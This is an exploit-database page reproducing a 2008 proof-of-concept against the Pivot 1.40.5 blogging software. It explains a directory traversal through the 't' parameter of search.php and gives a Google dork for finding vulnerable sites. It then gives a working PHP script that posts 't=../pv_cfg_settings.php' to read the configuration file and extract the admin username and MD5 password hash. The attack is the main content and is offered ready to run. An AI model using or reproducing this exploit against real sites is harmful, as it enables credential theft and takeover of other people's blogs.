Lucene search
K

pivot-disclosure.txt

🗓️ 01 Jul 2008 00:00:00Reported by Nine:Situations:GroupType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Pivot 1.40.5 'Dreamwind' load_template() credentials disclosur

Code
`<?php  
/*  
  
Pivot 1.40.5 'Dreamwind' load_template() credentials disclosure exploit  
  
by Nine:Situations:Group::bookoo  
  
our site: http://retrogod.altervista.org/  
software site: http://www.pivotlog.net/  
  
Google dork: "by Pivot - 1.40.5" +'Dreadwind' -pivotlog.net  
  
  
vulnerability:  
  
search.php - lines 98-109:  
  
...  
// Set the template for the tags page  
if (!isset($Pivot_Vars['t']) || empty($Pivot_Vars['t'])) {  
if (isset($Weblogs[$Current_weblog]['extra_template']) && ($Weblogs[$Current_weblog]['extra_template']!="") ) {  
$template = $Weblogs[$Current_weblog]['extra_template'];  
} else {  
$template = $Weblogs[$Current_weblog]['archive_template'];  
}  
} else {  
$template = $Pivot_Vars['t'];  
}  
  
$template_html = load_template($template);  
...  
  
't' argument is passed to load_template() function without checks  
  
see load_template() function in /modules/module_parser.php - lines 778-797  
  
...  
function load_template($basename) {  
global $template_cache, $Paths;  
  
$filename = $Paths['templates_path'].$basename;  
  
if (isset($template_cache[$basename])) {  
return $template_cache[$basename];  
} else {  
  
if (!(file_exists($filename))) {  
$filename = $Paths['templates_path']."entrypage_template.html";  
}  
$filetext=implode("", file($filename)); // <----------------------------|_ lol !!!  
  
$template_cache[$basename]=$filetext;  
  
return $filetext;  
}  
  
}  
...  
  
our argument is passed to a file() function, so, regardless of php settings,  
we can see php files at screen trough directory traversal attacks, including the  
configuration file (pv_cfg_settings.php), which cointains the admin credentials  
(username/md5 hash/sessions...)  
  
note: 't' can be passed as GET or POST  
----------------------------------------------------------------------------  
  
If you think this poc is useful, please help us to improve our equipment and  
donate through the paypal button on our site!  
*/  
  
error_reporting(7);  
$host=$argv[1];  
$path=$argv[2];  
$argv[3] ? $port = (int) $argv[3] : $port = 80;  
$argv[2] ? print("attackin'...\n") : die ("syntax: php ".$argv[0]." [host] [path] [[port]]");  
  
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;  
$win ? dl("php_curl.dll") : dl("php_curl.so");  
  
$url = "http://$host:$port";  
  
$exploit="t=../pv_cfg_settings.php";  
  
$header ="POST ".$path."search.php HTTP/1.0\r\n";  
$header.="Host: $host\r\n";  
$header.="Content-Type: application/x-www-form-urlencoded\r\n";  
$header.="Content-Length: ".strlen($exploit)."\r\n";  
$header.="Connection: Close\r\n\r\n";  
$header.=$exploit;  
  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL,$url);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_TIMEOUT, 0);  
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);  
  
  
$data = curl_exec($ch); if (curl_errno($ch)) {  
print curl_error($ch)."\n";  
} else {  
curl_close($ch);  
}  
// print $data."\n";  
preg_match("/userlevel\|4\|/",$data) ? print("exploit succeeded!") : die("exploit failed!");  
$tmp=explode("user-",$data);$tmpii=explode("!",$tmp[1]);$admin=$tmpii[0];  
print "\n\nadmin user: ".$admin."\n";  
$tmp=explode("pass|",$data);$tmpii=explode("|",$tmp[1]);$hash=$tmpii[0];  
print "\nmd5 hash : ".$hash."\n";  
  
  
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation